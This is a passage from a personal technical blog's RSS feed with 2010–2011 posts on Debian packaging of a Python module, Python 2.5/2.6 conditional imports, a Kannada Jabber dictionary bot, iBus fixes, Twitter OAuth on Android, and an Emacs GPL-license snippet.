&lt;i&gt;changelog&lt;/i&gt; and &lt;i&gt;copyright&lt;/i&gt; files to suit your needs. Make the &lt;i&gt;copyright&lt;/i&gt; file in&amp;nbsp; &lt;a href=&quot;http://dep.debian.net/deps/dep5/&quot;&gt;dep5&lt;/a&gt; machine readable format. Also I noted that for some reason &lt;i&gt;source/format&lt;/i&gt; file under debian directory contained 1.0 (native format). If so please change it to contain the following lines&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;3.0 (quilt)&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;That is almost it now running the following command will create the package for your module&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt; debuild&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If &lt;i&gt;lintian&lt;/i&gt; complaints about issue please fix them, one important thing in Debian packaging is your package should always be lintian clean. &lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now for some special cases there is chance that when you may have to do some extra work. In my case following where happening.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Original source (package-version.orig.tar.gz) was getting modified mainly because of packagename.egg.info folder which is created during compilation.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. I had some samples for my module which should be installed as examples.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For the first problem solution was to override dh_clean section. I added the following lines to my rules file&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;override_dh_clean:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dh_clean&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf setuptools_git-0.3.4-*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf src/pypdflib.egg-info&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;What it does is it executes the remove command on 2 folder which were not cleaned automatically by dh_clean.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For second problem the solution was overriding dh_installexamples section to install my examples manually.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;override_dh_installexamples:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dh_installexamples -p python-pypdflib samples/*&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I didn't put those under /usr/bin/ folder since those examples are not a fully featured tools during the creation. I'll be adding them as tools under /usr/bin using &lt;i&gt;link&lt;/i&gt; file in the next release.&lt;/div&gt;&lt;br /&gt;Below is my complete rule file for your reference.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/836035.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;I thank &lt;a href=&quot;http://j4v4m4n.in/&quot;&gt;&lt;i&gt;Praveen A&lt;/i&gt;&lt;/a&gt;&amp;nbsp; for guiding me and teaching Debian packaging and &lt;a href=&quot;http://qa.debian.org/developer.php?login=kartik&quot;&gt;&lt;i&gt;Kartik Mistry&lt;/i&gt;&lt;/a&gt; for helping me in packaging pypdflib and sponsoring it in Debian. My package source now lies in &lt;i&gt;Debian-IN&lt;/i&gt; team svn repository. If there are any mistakes please do comment about them :).&lt;br /&gt;&lt;br /&gt;Reference: &lt;a href=&quot;http://meetbot.debian.net/debian-women/2010/debian-women.2010-12-02-20.02.log.html&quot;&gt;Debian Woman Python packaging session&lt;/a&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 20 Feb 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/02/tutorial-python-module-packaging-for-debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/02/tutorial-python-module-packaging-for-debian.html</guid>
</item>



<item>
<title>Conditional "import" in Python</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Normally in Python when we try to import a module and module doesn't exist the interpreter will throw&amp;nbsp; &lt;i&gt;ImportError&lt;/i&gt;, this is a normal behavior . But in some cases like when Python version changes some functions are moved from one module to other and sometime the module names itself are changed. For eg. in Python 2.6 we have &lt;i&gt;urllib&lt;/i&gt; &lt;i&gt;urllib2&lt;/i&gt; modules but in Py3k these modules are combined and all request response related functions are present in &lt;i&gt;urllib.request&lt;/i&gt; and all errors are unders &lt;i&gt;urrlib.error&lt;/i&gt; module. Functions like &lt;i&gt;urlencode&lt;/i&gt; &lt;i&gt;quote&lt;/i&gt; &lt;i&gt;unquote&lt;/i&gt; which were in &lt;i&gt;urllib&lt;/i&gt; module in Python2.6 are under &lt;i&gt;urllib.request &lt;/i&gt;Py3k. This case of moving from Python 2.x to Py3k can be easily done by tool called &lt;i&gt;2to3.&lt;/i&gt;But lets say moving from Python2.5 to Python2.6 how do we handle this situation?. Well below is the solution &lt;i&gt;(applicable when modules are renamed or moved during version change)&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/i&gt; When I started working on &lt;a href=&quot;http://smc.org.in/silpa&quot;&gt;SILPA&lt;/a&gt; I was running Debian Squeeze which had Python 2.5 as system default Python, but recently Debian Squeeze transitioned to Python 2.6 as default Python. We had some issue in the URL routing logic of the SILPA which I fixed 2 days back for which I used a function called &lt;i&gt;parse_qs &lt;/i&gt;from &lt;i&gt;urlparse&lt;/i&gt; module and everything worked fine on my system. I pushed the changes to the main git repository. Now the problem begins 2 mirrors of SILPA have Cron job setup to periodically pull the changes from git, and next day it was reported that 2 of the mirrors where throwing 500 internal server error. And its time for me to find what was causing the issue :).&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;b&gt;Reason:&lt;/b&gt;&lt;/i&gt; Mirror instance of the SILPA were running older version of Python.(2.5) and the function &lt;i&gt;parse_qs&lt;/i&gt; was not defined in the module &lt;i&gt;urlparse&lt;/i&gt; which was causing the &lt;i&gt;ImportError&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;/i&gt; I figured out that in Python 2.5 version &lt;i&gt;parse_qs&lt;/i&gt; is present but in &lt;i&gt;cgi&lt;/i&gt; module instead of &lt;i&gt;urlparse&lt;/i&gt;. So to make the code work in both Python versions (i.e. 2.5 and 2.6) I need to do a conditional import as shown below&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;try:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; from urlparse import parse_qs&lt;/i&gt;&lt;br /&gt;&lt;i&gt;except ImportError:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; # Fall back for Python 2.5 &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; from cgi import parse_qs &lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; So I want to import &lt;i&gt;parse_qs&lt;/i&gt; from &lt;i&gt;urlparse&lt;/i&gt; module and if interpreter throws &lt;i&gt;ImportError&lt;/i&gt; it means the Python version is &amp;lt;2.6 so import the function from &lt;i&gt;cgi&lt;/i&gt; module instead. So code is now backward compatible with Python2.5. Well that's it I call this as conditional importing I don't know what is the exact name for this method :). If you have any suggestions please do comment.&lt;/div&gt;&lt;br /&gt;-- Vasudev
</description>
<pubDate>Sat, 04 Dec 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/12/conditional-import-in-python.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/12/conditional-import-in-python.html</guid>
</item>



<item>
<title>New feature for Jabber Kannada Dictionary Bot</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After seeing a great response and feedback for &lt;a href=&quot;http://vasudevkamath.blogspot.com/2010/11/jabber-dictionary-bot-for-kannada.html&quot;&gt;Kannada Jabber dictionary bot project&lt;/a&gt; I thought of adding few new features and fixing some issues reported by the users. Here is the changelog&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Bot was not replying for &lt;b&gt;Tiger&lt;/b&gt; where as there was meaning for word &lt;b&gt;tiger&lt;/b&gt; an issue reported by one of the user. I've fixed this issue and now bot is case insensitive.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Bot was not providing all the meanings for some words for example for word &lt;b&gt;tiger &lt;/b&gt;it was replying as ಪುಲಿ where as Kannada Wiktionary contained these meaning ಪುಲಿ, ಹುಲಿ, ವ್ಯಾಘ್ರ. This issue is fixed now bot gives all the meanings present in Kannada Wiktionary.&lt;/div&gt;&lt;br /&gt;Thanks to Suma and Vivek Shankar for reporting these issues.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now for the new feature, many users had asked a way for adding meanings to word for undefined words. My friend &lt;a href=&quot;http://aravindavk.in/&quot;&gt;Aravinda&lt;/a&gt; suggested me a way to do this, by letting user send the meaning to bot when bot replies no meaning found. So when bot doesn't find a meaning it replies to as show in below screenshot.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/TPW--FhGjZI/AAAAAAAABac/b75Nk_8qnHU/s1600/kn-new-reply.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;218&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/TPW--FhGjZI/AAAAAAAABac/b75Nk_8qnHU/s400/kn-new-reply.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So if you want to add the meaning to a word all you need to do is send the bot following line&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;#add&amp;nbsp;&lt;/i&gt;&lt;word&gt;&lt;meaning(s)&gt;&lt;i&gt;word meaning(s)&lt;/i&gt;&lt;br /&gt;&lt;/meaning(s)&gt;&lt;/word&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you have multiple meanings for a word please separate them with &quot;&lt;b&gt;,&lt;/b&gt;&quot;. We will collect all the meanings added by you and periodically send these to Wiktionary admins so they can verify these words and add them to Wiktionary. Please make use of this new feature and report back any bugs or any new suggestions :).. Also use the bot and help us to enrich the Kannada Wiktionary :).&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Wed, 01 Dec 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/12/new-feature-for-jabber-kannada-dictionary-bot.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/12/new-feature-for-jabber-kannada-dictionary-bot.html</guid>
</item>



<item>
<title>A Jabber Dictionary Bot for Kannada</title>
<description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you want to know the Kannada meaning of a word or English meaning of a Kannada word using your IM then here is one Jabber dictionary bot for your assistance. You just need to send the word whose meaning you want to know to this bot and you will get the meaning of the word back or in case there is no meaning defined the bot will ask an apology :). Interesting eh?. The why are you waiting go on and add following email ID to your &lt;i&gt;&lt;b&gt;Jabber/Gmail&lt;/b&gt;&lt;/i&gt; buddy list.&lt;/div&gt;&lt;blockquote&gt;kn.dict.bot@jabber.org &lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;When bot comes online just tell him &lt;i&gt;&lt;b&gt;Hi&lt;/b&gt;&lt;/i&gt; or &lt;i&gt;&lt;b&gt;Hello&lt;/b&gt;&lt;/i&gt; and you will get a nice welcome message which is shown below&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/TOlVhgboBHI/AAAAAAAABaQ/BMI_aKFm-Yk/s1600/welcome-message.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;255&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/TOlVhgboBHI/AAAAAAAABaQ/BMI_aKFm-Yk/s320/welcome-message.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Now send a word either in English or Kannada and see what happens :).&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This bot was originally developed by &lt;a href=&quot;http://thottingal.in/&quot;&gt;Santhosh Thottingal&lt;/a&gt; and &lt;a href=&quot;http://smc.org.in/&quot;&gt;SMC&lt;/a&gt; developers for Hindi and Malayalam, you can find more information about these bots &lt;a href=&quot;http://thottingal.in/blog/2010/11/20/dictionary-jabber-buddy-bots/&quot;&gt;here&lt;/a&gt; this bot supports Dictd protocol and Wiktionary. Currently this bot only uses &lt;a href=&quot;http://kn.wiktionary.org/&quot;&gt;Kannada Wiktionary&lt;/a&gt; as back end since&amp;nbsp; Kannada Dictd dictionaries are not developed. Once we develop a Dictd dictionary I'll enable the Dictd support.&amp;nbsp; I'm thankful to &lt;i&gt;Santhosh Thottinal&lt;/i&gt; and &lt;i&gt;SMC&lt;/i&gt; for allowing me to host the bot on their VPS.&lt;/div&gt;&lt;br /&gt;Please use this bot service and report any bugs or suggestions. My email Id can be found on my blogger profile. &lt;br /&gt;&amp;nbsp;
</description>
<pubDate>Sun, 21 Nov 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/11/a-jabber-dictionary-bot-for-kannada.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/11/a-jabber-dictionary-bot-for-kannada.html</guid>
</item>



<item>
<title>Fix: iBus not working with OpenOffice in Xfce4</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Today I faced a really weird problem of unable to type Kannada in OpenOffice Writer using iBus. I'm using Xfce4 with GDM in Debian and installed it recently. I was able write in Kannada in OpenOffice&amp;nbsp; with KDE4 and KDM.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After a small research igured out the issue was&amp;nbsp; mainly because &lt;i&gt;&lt;b&gt;openoffice.org-gnome&lt;/b&gt;&lt;/i&gt; pacakge was not installed in my system where as in KDE environment with KDM had &lt;i&gt;&lt;b&gt;openoffice.org-kde&lt;/b&gt;&lt;/i&gt; installed.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Fix: If you are also facing this issue just check you have &lt;i&gt;&lt;b&gt;openoffice.org-gnome (for gdm) and openoffice.org-kde (for kdm)&lt;/b&gt;&lt;/i&gt; installed. After installing this packages you can start typing Kannada (or any other language) using iBus in OpenOffice.&lt;/div&gt;
</description>
<pubDate>Sun, 26 Sep 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/09/fix-ibus-not-working-with-openoffice-in-xfce4.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/09/fix-ibus-not-working-with-openoffice-in-xfce4.html</guid>
</item>



<item>
<title>Android: OAuth authentication with twitter using oauth-signpost</title>
<description>Twitter has recently stopped support for Basic Authentication scheme in twitter API, from now on all the app which will be using twitter api's should use OAuth authentication system. To know what is OAuth refer this &lt;a href=&quot;http://en.wikipedia.org/wiki/OAuth&quot;&gt;wiki article&lt;/a&gt; and OAuth official &lt;a href=&quot;http://oauth.net/&quot;&gt;website&lt;/a&gt;.&lt;br /&gt;It took me few days to completely understand what is actualy going behind the scene in OAuth authentication scheme, thanks to this wonderful &lt;a href=&quot;http://www.jaanuskase.com/en/2010/01/understanding_the_guts_of_twit.html&quot;&gt;article.&lt;/a&gt;&lt;br /&gt;Before starting with tutorial I assume that you know basics of android like creating a project , editing manifest files and configuring build paths. I won't be covering those here. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;For using OAuth in android we will use a library called oauth-signpost written in java and freely available &lt;a href=&quot;http://code.google.com/p/oauth-signpost/&quot;&gt;here&lt;/a&gt;. Download the &lt;a href=&quot;http://code.google.com/p/oauth-signpost/downloads/detail?name=signpost-core-1.2.1.1.jar&amp;amp;can=2&amp;amp;q=&quot;&gt;oauth-signpost&lt;/a&gt; core and&lt;a href=&quot;http://code.google.com/p/oauth-signpost/downloads/detail?name=signpost-commonshttp4-1.2.1.1.jar&amp;amp;can=2&amp;amp;q=&quot;&gt; commons http jars&lt;/a&gt;. Add these jar's to the &lt;i&gt;&lt;b&gt;assets&lt;/b&gt;&lt;/i&gt; folder of your android project and add them to your project build path.&lt;/li&gt;&lt;li&gt;Before we begin we need to create a application in twitter and get our consumer key and consumer secret. Please go to this &lt;a href=&quot;http://twitter.com/oauth_clients/new&quot;&gt;page&lt;/a&gt; and register your application&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Application Name: is the unique name for your application which appears in your twitter status message.&lt;/li&gt;&lt;li&gt;Application Type: Select &lt;i&gt;&lt;b&gt;browser.&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Callback URI: You can give any URL as of now, we are going to provide actual call back URL from our application code.&lt;/li&gt;&lt;li&gt;Once you are done with creating application copy the &lt;i&gt;consumer key&lt;/i&gt; and &lt;i&gt;consumer secret&lt;/i&gt; to a safe place &lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Twitter uses call back URL to send back the verification PIN to our application. Normally browser type is used only for web application but what we are going to do is make our android application &lt;i&gt;browsable&lt;/i&gt; and use Android's data URI schemes to get back PIN from twitter. Other approach is making&amp;nbsp; application type as &lt;i&gt;client&lt;/i&gt;. In this case verification number is displayed in browser and you should ask your user to manually enter the verfication number in specified text box.&lt;/li&gt;&lt;li&gt;To make the application browsable and register data URI schemes with android runtime add following intent filter to your activity in AndroidManifest.xml. Browsable means your application can be launched using the data URI scheme registered in android manifest. For eg. you can open the android browser and type in &lt;i&gt;scheme://host&lt;/i&gt; and it will launch your application also you can pass data to application from URI line. &lt;/li&gt;&lt;script src=&quot;http://gist.github.com/597990.js?file=gistfile1.xml&quot;&gt;&lt;/script&gt;&lt;li&gt;&amp;nbsp;Now declare the following variables, change consumer key and secret to the value you copied in step 2. Note that I'm declaring the &lt;i&gt;CommonsHttpOAuthConsumer&lt;/i&gt; , &lt;i&gt;OAuthProvider&lt;/i&gt; and &lt;i&gt;HttpClient &lt;/i&gt;as static. I'll explain the reason later.&lt;/li&gt;&lt;script src=&quot;http://gist.github.com/598071.js?file=vardefs.java&quot;&gt;&lt;/script&gt;&lt;li&gt;Now add a button to your view (main.xml) and in your activities &lt;i&gt;&lt;b&gt;onCreate&lt;/b&gt;&lt;/i&gt; function add the following code.&lt;/li&gt;&lt;script src=&quot;http://gist.github.com/598075.js?file=oauth_oncreate.java&quot;&gt;&lt;/script&gt;&lt;li&gt;&amp;nbsp;What actually we are doing here is retriving the unauthorized token and token secret from the Twitter and providing the twitter actual callback URL. When user authroizes the token and token secrets the verification code is sent to this URL (i.e browser will be redirected to this URL by twitter). Lets see what is really happening in the backend. Twitter redirects the browser to the call back url with oauth_token and oauth_verifier as query parameter. For eg. In our case to this URL &lt;i&gt;scheme://host?oauth_token=1xx&amp;amp;oauth_verifer=1234&lt;/i&gt;. Since we are using android data uri scheme as callback URL browser simply relaunches our application passing it the oauth_token and oauth_verifier as intent data.&lt;/li&gt;&lt;li&gt;Since android supports multitasking relaunching just brings our application to foreground and control comes to the &lt;i&gt;&lt;b&gt;onResume &lt;/b&gt;&lt;/i&gt;function. We need to add the following code to our onResume function&lt;/li&gt;&lt;script src=&quot;http://gist.github.com/598086.js?file=oauth_onresume.java&quot;&gt;&lt;/script&gt;&lt;li&gt;Now I'll tell you why I declared 3 variables as &lt;b&gt;static. &lt;/b&gt;As you see when user clicks the button we are launching the browser with authorize url making our activity to go to background. And when browser returns if I didn't declare my consumer object as static i'll get error while trying to retrive the authorized token and token secret with exception message &quot;&lt;i&gt;Authorized token and token secret not set did you already retrived the authorized token and token secret&lt;/i&gt;&quot;. After a while of googling I got this &lt;a href=&quot;http://efreedom.com/Question/1-3255153/Android-OAuth-Exception-RetrieveAccessToken&quot;&gt;solution&lt;/a&gt;. Looks like these fields in consumer object were getting reset, I think may be because of GC. Any way instead of reinitializing and going through all the pain once again I thought of declaring these variables as static and it worked like a charm!&lt;/li&gt;&lt;li&gt;Save the access token and access secret obtained in step 8 in a safe place. These should used in your further interaction with twitter without making user login to twitter again. Note that twitter doesn't expire these access token and secret. It will be expired only when user revokes the application permission.&lt;/li&gt;&lt;/ol&gt;In the above example you might have noticed that I never used the http client which is declared. Wondering why? Well its used for posting status or retriving timelines from the twitter. You can ignore that variable :).&lt;br /&gt;Thanks to this &lt;a href=&quot;http://dev.bostone.us/2009/07/16/android-oauth-twitter-updates/&quot;&gt;tutorial&lt;/a&gt; which helped me in writing the above code. It looks like the version of oauth-signpost library used in this post is older than the one which I used. In the next part I'll show how to fetch the time line from twitter and also post the status update to twitter. Till then C ya :).
</description>
<pubDate>Sun, 26 Sep 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/09/android-oauth-authentication-with-twitter-using-oauth-signpost.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/09/android-oauth-authentication-with-twitter-using-oauth-signpost.html</guid>
</item>



<item>
<title>iBus tray icon issue fix</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div align=&quot;justify&quot;&gt;I use Debian Sid with KDE 4.4 and use iBus as IME for using Indic languages. But recently the iBus tray icon was not loading and a white patch used to appear which looked ugly. To see what is going on I ran ibus in debug mode using following command.&lt;/div&gt;&lt;blockquote&gt;&lt;div align=&quot;justify&quot;&gt;&lt;b&gt;&lt;i&gt;ibus-daemon -xvr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;I got the following message in the terminal&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;/usr/share/ibus/ui/gtk/icon.py:35: GtkWarning: Could not find the icon 'ibus-keyboard'. The 'hicolor' theme&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;was not found either, perhaps you need to install it.&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;You can get a copy from:&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; http://icon-theme.freedesktop.org/releases&lt;/i&gt;&lt;/blockquote&gt;&lt;div align=&quot;justify&quot;&gt;The message clearly indicates the Gtk system was unable to find out icon named &lt;i&gt;ibus-keyboard&lt;/i&gt;. To debug this issue I opened the file &lt;i&gt;/usr/share/ibus/ui/gtk/icon.py&lt;/i&gt; to see if the name or path of icon is in the file. Frankly I'm a noob in PyGtk programming and didn't understand any content present with in the file, but a line attracted my attention and thought of trying it out. Following is what I did in Python console.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div align=&quot;justify&quot;&gt;&lt;i&gt;Python 2.6.6rc1+ (r266rc1:83691, Aug 5 2010, 19:21:55) &lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;[GCC 4.4.5 20100728 (prerelease)] on linux2&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; import gtk&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkWindow)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkInvisible)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkObject)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;/usr/lib/pymodules/python2.6/gtk-2.0/gtk/__init__.py:40: RuntimeWarning: tp_compare didn't return -1 or -2 for exception&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; from gtk import _gtk&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Traceback (most recent call last):&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; File &quot;/usr/lib/pymodules/python2.6/gtk-2.0/gi/__init__.py&quot;, line 27, in &amp;lt;module&amp;gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; from gi.repository import GObject&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;ImportError: cannot import name GObject&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;icon_theme = gtk.icon_theme_get_default()&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; icon_theme.get_search_path() &lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;('/home/vasudev/.icons', '/home/vasudev/.local/share/icons', '$XDG_DATA_DIRS/icons', '/usr/share/akonadi/agents/icons', '/usr/share/akonadi/agents/icons', '$XDG_DATA_DIRS/pixmaps', '/usr/share/akonadi/agents/pixmaps', '/usr/share/akonadi/agents/pixmaps')&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;I have made the line which gave me a hint to find this fix bold. Clearly the normal Gtk icon folder path is not present in the image search path. (i.e &lt;i&gt;/usr/share/icon &lt;/i&gt;where the iBus icon is present). I'm not sure whether this is a bug or normal behaviour but whatever it is below is the fix which makes the iBus icon reappear in tray.&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;ln /usr/share/icons/hicolor/scalable/apps/ibus-keyboard.svg ~/.local/share/icons/&lt;/i&gt;&lt;/blockquote&gt;This is what above command did, it created a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hard_link&quot; target=&quot;_blank&quot; title=&quot;Hard Links&quot;&gt;hard link &lt;/a&gt;of the icon in one of the directory where Gtk module is looking for icon. Thats it relaunch the iBus and tray icon should be fixed by now ! :)&lt;/div&gt;
</description>
<pubDate>Thu, 19 Aug 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/08/ibus-tray-icon-issue-fix.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/08/ibus-tray-icon-issue-fix.html</guid>
</item>



<item>
<title>Inserting GPL license notice in Emacs</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;If you have used Geany a simple IDE it allows you to insert the GPL or similar license into the code file. I use Emacs and when I want to insert some sort of open source license I had to switch back to Geany and insert the license and return back to Emacs. Finally I thought of writing my own yasnippet to do this job. I've written 2 separate snippet files one for Python and other can be used by all languages which use C style comments.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;The snippet does the following&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. It gets the name of the file from the current buffer's name&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Copyright statement similar to one found in GPL license notice. Here I extract the year from current date. Also I insert the user name and email address from elisp variables user-full-name and user-mail-address. For customizing user name and email address please add the following lines in your .emacs file&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;(setq user-full-name&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&quot;Your name&quot;)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;(setq user-mail-address&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&quot;Your email address&quot;)&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Next comes the type of license. You can select license from drop down (Lesser,Affero) if you want to use GPL then just leave this field to default.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Version is also selected from drop down. Version 2 and 3 are for GPL,Affero and 2 2.1 for Lesser GPL. Its up-to user to select proper version for a license selected in previous option.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The first 2 options that is file name and copyright lines can be edited to override default values. Please use Tab key to navigate from one field to other.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Here are the installation instruction&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Copy the pygpl to 